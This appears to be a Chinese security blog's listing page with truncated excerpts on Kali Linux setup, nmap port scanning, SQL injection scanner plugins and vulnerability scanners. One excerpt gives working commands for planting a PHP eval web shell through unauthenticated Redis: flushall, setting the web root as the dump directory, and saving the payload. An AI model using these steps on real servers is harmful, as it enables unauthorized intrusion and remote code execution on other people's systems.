kali linux开启ssh登录 WinSCP登录kali linux方法

kali linux开启ssh登录 WinSCP登录kali linux方法
最新2019 kali linux 开启ssh登录的方法,超级简单。 1. kali linux ssh的配置 (1)打开/etc/ssh/sshd_config,我们需要配置它。 (2)找到#PasswordAuthentication yes,把注释符号#去掉。 (3)找到#PermitRootLogin without-password ,把前面的#去掉,并且将“without-password”修改为YES,现在就可以启动ssh了。 (4)如果想设置开机自动启动,可以执行以下命令: ...

redis写webshell redis

redis写webshell redis
nmap --script=redis-info  -p6379 192.168.1.0/24 --open   redis写webshell 刷新并进入redis控制台 redis-cli -h 192.168.20.215 flushall exit redis-cli -h 192.168.20.215 修改默认目录和文件名(需要web的绝对路径) config set dir /var/www/html config set dbfilename index1.php set a2 "<?php @eval($_POST[cmd]);?>" save  ssh-...

kali linux安装redis 及使用客户端命令 redis-cli -h

kali linux安装redis 及使用客户端命令 redis-cli -h
本文主要是为了利用kali linux2.0 测试redis未授权访问。并非非常非常详细讲redis如何安装及设置。 首先,你需要下载最新的redis,例如我下载的就是稳定版,非最新版。地址:http://download.redis.io/releases/redis-3.0.7.tar.gz 然后你随意解压到哪个目录,然后在那个目录打开终端。直接输入命令:make 安装。安装完后,你需要进入SRC文件夹,然后输入下面的命令:cp red...

nmap 扫描输出格式 IP:端口 txt

nmap 扫描输出格式  IP:端口 txt
nmap -vv -p 80,873,1433,1521,3306,2601,6379,7001,7002,7071,8000,8001,8002,8069,8080,8081,8888,9200,9300,9043,9080,11211,27017 127.0.0.1/24 | grep "Discovered open port" | awk {'print $6":"$4'} | awk -F/ {'print $1'} > output.txt   nmap -vv -iL yuming.txt /24  | grep "Discovered open port" | awk {'print $6":"$4'} | awk -F/ {'print $1'} &g...

虚拟机 kali linux – 桥接、NAT、仅主机都上不了网解决方法

虚拟机 kali linux – 桥接、NAT、仅主机都上不了网解决方法
唉,无奈自己是个小白,电脑安装完最新版本的java之后,发现虚拟机里面的kali linux 2.0就无法上网了,始终就没弄明白到底怎么弄的呢?!安装一个JAVA跟虚拟机有毛毛关系喂猫就上不了网了?! 最后本人删除虚拟机,从新做系统,也白费!!!最后本人给出如下答案。 首先看如,设置: 设置虚拟机联网方式 然后进入kali linux2.0系统里面的网络设置,看图: kali linux2.0网络...

密码保护:TangScan-master 日本jp某通用程序SQL注入插件–‘盲注延时判断’

密码保护:TangScan-master 日本jp某通用程序SQL注入插件–‘盲注延时判断’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 11...

TangScan-master 日本jp某通用程序SQL注入插件–‘盲注判断字符’

TangScan-master 日本jp某通用程序SQL注入插件–‘盲注判断字符’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 11...

几款python漏洞扫描工具

几款python漏洞扫描工具
中间件漏洞检测框架(F-MiddlewareScan) 纯python编写的轻量级中间件漏洞检测框架,实现针对中间件的自动化检测,端口探测->中间件识别->漏洞检测->获取webshell 参数说明 -h 必须输入的参数,支持ip(192.168.1.1),ip段(192.168.1),ip范围指定(192.168.1.1-192.168.1.254),最多限制一次可扫描65535个IP。 -p 指定要扫描端口列表,多个端口使用,隔开 例如:7001,8080,9...

密码保护:某行业关键词3个月百度排第一数据分析

密码保护:某行业关键词3个月百度排第一数据分析
【第一点】:访客数(UV)、IP数相同。 【第二点】:IP数、访问次数相同。 【第三点】:ip与PV的对比 ip与PV的对比 【第三点】:新访客数与新访客比率 新访客数与新访客比率 【第三点】:平均访问时长与平均访问页数 平均访问时长与平均访问页数 【第四点】:ip数与新访客比率 ip数与新访客比率 【第五点】:ip数与平均访问页数 ip数与平均访问页数 【第六点】:ip与平均访问...